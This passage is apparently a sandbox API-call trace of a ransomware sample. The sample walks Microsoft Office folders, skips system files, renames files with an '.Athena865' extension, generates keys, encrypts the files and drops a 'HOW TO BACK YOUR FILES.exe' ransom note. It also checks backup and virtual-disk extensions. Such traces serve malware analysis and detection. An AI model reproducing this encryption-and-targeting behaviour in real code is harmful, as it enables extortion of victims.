dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0150.866] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11767808) returned 1 [0150.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0150.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0150.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0150.866] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0150.867] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0150.867] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0150.867] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb39300, lpName=0x0) returned 0x17c [0150.871] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xa00000, dwNumberOfBytesToMap=0x139300) returned 0x2bb0000 [0151.140] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0151.141] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.141] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0151.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0151.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0151.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0151.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.142] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0151.164] CloseHandle (hObject=0x17c) returned 1 [0151.164] CloseHandle (hObject=0x154) returned 1 [0151.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0151.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.173] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x348000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACWZUSR12.ACCDU", cAlternateFileName="ACWZUS~1.ACC")) returned 1 [0151.173] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0151.174] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0151.174] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2=".") returned 1 [0151.174] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="..") returned 1 [0151.174] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="windows") returned -1 [0151.174] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="bootmgr") returned -1 [0151.174] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="temp") returned -1 [0151.174] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="pagefile.sys") returned -1 [0151.174] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="boot") returned -1 [0151.174] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="ids.txt") returned -1 [0151.174] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="ntuser.dat") returned -1 [0151.174] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="perflogs") returned -1 [0151.174] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2="MSBuild") returned -1 [0151.174] lstrlenW (lpString="ACWZUSR12.ACCDU") returned 15 [0151.174] lstrcpyW (in: lpString1=0x241e8ac, lpString2="ACWZUSR12.ACCDU" | out: lpString1="ACWZUSR12.ACCDU") returned="ACWZUSR12.ACCDU" [0151.174] lstrlenW (lpString="ACWZUSR12.ACCDU") returned 15 [0151.174] lstrlenW (lpString="Athena865") returned 9 [0151.174] lstrcmpiW (lpString1="R12.ACCDU", lpString2="Athena865") returned 1 [0151.174] lstrlenW (lpString=".dll") returned 4 [0151.174] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2=".dll") returned 1 [0151.174] lstrlenW (lpString=".lnk") returned 4 [0151.174] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2=".lnk") returned 1 [0151.174] lstrlenW (lpString=".ini") returned 4 [0151.174] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2=".ini") returned 1 [0151.174] lstrlenW (lpString=".sys") returned 4 [0151.174] lstrcmpiW (lpString1="ACWZUSR12.ACCDU", lpString2=".sys") returned 1 [0151.174] lstrlenW (lpString="ACWZUSR12.ACCDU") returned 15 [0151.175] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU.Athena865") returned 75 [0151.175] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu.athena865"), dwFlags=0x1) returned 1 [0151.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.180] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3440640) returned 1 [0151.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0151.181] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0151.182] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.182] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.182] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x348300, lpName=0x0) returned 0x17c [0151.184] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x148300) returned 0x2bb0000 [0151.357] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0151.358] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.358] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0151.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0151.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0151.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0151.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.358] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0151.370] CloseHandle (hObject=0x17c) returned 1 [0151.370] CloseHandle (hObject=0x154) returned 1 [0151.370] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.370] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0151.370] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.379] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf5ae560, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcf5ae560, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0151.379] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0151.379] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UTILITY.ACCDA", cAlternateFileName="UTILIT~1.ACC")) returned 1 [0151.379] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.379] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.379] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2=".") returned 1 [0151.379] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="..") returned 1 [0151.379] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="windows") returned -1 [0151.379] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="bootmgr") returned 1 [0151.379] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="temp") returned 1 [0151.379] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="pagefile.sys") returned 1 [0151.379] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="boot") returned 1 [0151.379] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="ids.txt") returned 1 [0151.379] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="ntuser.dat") returned 1 [0151.379] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="perflogs") returned 1 [0151.379] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="MSBuild") returned 1 [0151.379] lstrlenW (lpString="UTILITY.ACCDA") returned 13 [0151.379] lstrcpyW (in: lpString1=0x241e8ac, lpString2="UTILITY.ACCDA" | out: lpString1="UTILITY.ACCDA") returned="UTILITY.ACCDA" [0151.379] lstrlenW (lpString="UTILITY.ACCDA") returned 13 [0151.380] lstrlenW (lpString="Athena865") returned 9 [0151.380] lstrcmpiW (lpString1="ITY.ACCDA", lpString2="Athena865") returned 1 [0151.380] lstrlenW (lpString=".dll") returned 4 [0151.380] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2=".dll") returned 1 [0151.380] lstrlenW (lpString=".lnk") returned 4 [0151.380] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2=".lnk") returned 1 [0151.380] lstrlenW (lpString=".ini") returned 4 [0151.380] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2=".ini") returned 1 [0151.380] lstrlenW (lpString=".sys") returned 4 [0151.380] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2=".sys") returned 1 [0151.380] lstrlenW (lpString="UTILITY.ACCDA") returned 13 [0151.380] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA.Athena865") returned 73 [0151.380] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\utility.accda"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\utility.accda.athena865"), dwFlags=0x1) returned 1 [0151.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\utility.accda.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.384] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=782336) returned 1 [0151.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0151.384] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0151.385] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.385] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.385] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbf300, lpName=0x0) returned 0x17c [0151.387] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbf300) returned 0x2bb0000 [0151.416] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0151.417] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.417] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0151.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0151.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0151.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0151.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.418] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0151.425] CloseHandle (hObject=0x17c) returned 1 [0151.425] CloseHandle (hObject=0x154) returned 1 [0151.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0151.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.428] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UTILITY.ACCDA", cAlternateFileName="UTILIT~1.ACC")) returned 0 [0151.428] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0151.428] ReleaseMutex (hMutex=0xec) returned 1 [0151.428] CloseHandle (hObject=0xec) returned 1 [0151.428] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0151.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539e00 | out: hHeap=0x4f0000) returned 1 [0151.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cdf8 | out: hHeap=0x4f0000) returned 1 [0151.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned 49 [0151.429] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\FED7B5B4D076C83A5BA5B66069390B6E") returned 0xec [0151.429] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0151.429] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0151.429] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0151.429] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\how to back your files.exe"), bFailIfExists=1) returned 0 [0151.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0151.431] GetLastError () returned 0x0 [0151.431] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0151.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0151.431] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0151.432] CloseHandle (hObject=0xf4) returned 1 [0151.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0151.432] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0151.432] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcf692da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcf692da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0151.432] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0151.433] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0151.433] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0151.433] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcf692da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcf692da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.433] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0151.433] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0151.433] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0151.433] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0151.433] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e388, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACCOLK.DLL", cAlternateFileName="")) returned 1 [0151.433] lstrcmpiW (lpString1="ACCOLK.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0151.433] lstrcmpiW (lpString1="ACCOLK.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0151.433] lstrcmpiW (lpString1="ACCOLK.DLL", lpString2=".") returned 1 [0151.433] lstrcmpiW (lpString1="ACCOLK.DLL", lpString2="..") returned 1 [0151.433] lstrcmpiW (lpString1="ACCOLK.DLL", lpString2="windows") returned -1 [0151.433] lstrcmpiW (lpString1="ACCOLK.DLL", lpString2="bootmgr") returned -1 [0151.433] lstrcmpiW (lpString1="ACCOLK.DLL", lpString2="temp") returned -1 [0151.433] lstrcmpiW (lpString1="ACCOLK.DLL", lpString2="pagefile.sys") returned -1 [0151.433] lstrcmpiW (lpString1="ACCOLK.DLL", lpString2="boot") returned -1 [0151.433] lstrcmpiW (lpString1="ACCOLK.DLL", lpString2="ids.txt") returned -1 [0151.433] lstrcmpiW (lpString1="ACCOLK.DLL", lpString2="ntuser.dat") returned -1 [0151.433] lstrcmpiW (lpString1="ACCOLK.DLL", lpString2="perflogs") returned -1 [0151.433] lstrcmpiW (lpString1="ACCOLK.DLL", lpString2="MSBuild") returned -1 [0151.433] lstrlenW (lpString="ACCOLK.DLL") returned 10 [0151.433] lstrcpyW (in: lpString1=0x241e8ac, lpString2="ACCOLK.DLL" | out: lpString1="ACCOLK.DLL") returned="ACCOLK.DLL" [0151.433] lstrlenW (lpString="ACCOLK.DLL") returned 10 [0151.433] lstrlenW (lpString="Athena865") returned 9 [0151.433] lstrcmpiW (lpString1="CCOLK.DLL", lpString2="Athena865") returned 1 [0151.433] lstrlenW (lpString=".dll") returned 4 [0151.433] lstrcmpiW (lpString1="ACCOLK.DLL", lpString2=".dll") returned 1 [0151.434] lstrlenW (lpString=".lnk") returned 4 [0151.434] lstrcmpiW (lpString1="ACCOLK.DLL", lpString2=".lnk") returned 1 [0151.434] lstrlenW (lpString=".ini") returned 4 [0151.434] lstrcmpiW (lpString1="ACCOLK.DLL", lpString2=".ini") returned 1 [0151.434] lstrlenW (lpString=".sys") returned 4 [0151.434] lstrcmpiW (lpString1="ACCOLK.DLL", lpString2=".sys") returned 1 [0151.434] lstrlenW (lpString="ACCOLK.DLL") returned 10 [0151.434] lstrlenW (lpString="bak") returned 3 [0151.434] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0151.434] lstrlenW (lpString="ba_") returned 3 [0151.434] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0151.434] lstrlenW (lpString="dbb") returned 3 [0151.434] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0151.434] lstrlenW (lpString="vmdk") returned 4 [0151.434] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0151.434] lstrlenW (lpString="rar") returned 3 [0151.434] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0151.434] lstrlenW (lpString="zip") returned 3 [0151.434] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0151.434] lstrlenW (lpString="tgz") returned 3 [0151.434] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0151.434] lstrlenW (lpString="vbox") returned 4 [0151.434] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0151.434] lstrlenW (lpString="vdi") returned 3 [0151.434] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0151.434] lstrlenW (lpString="vhd") returned 3 [0151.434] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 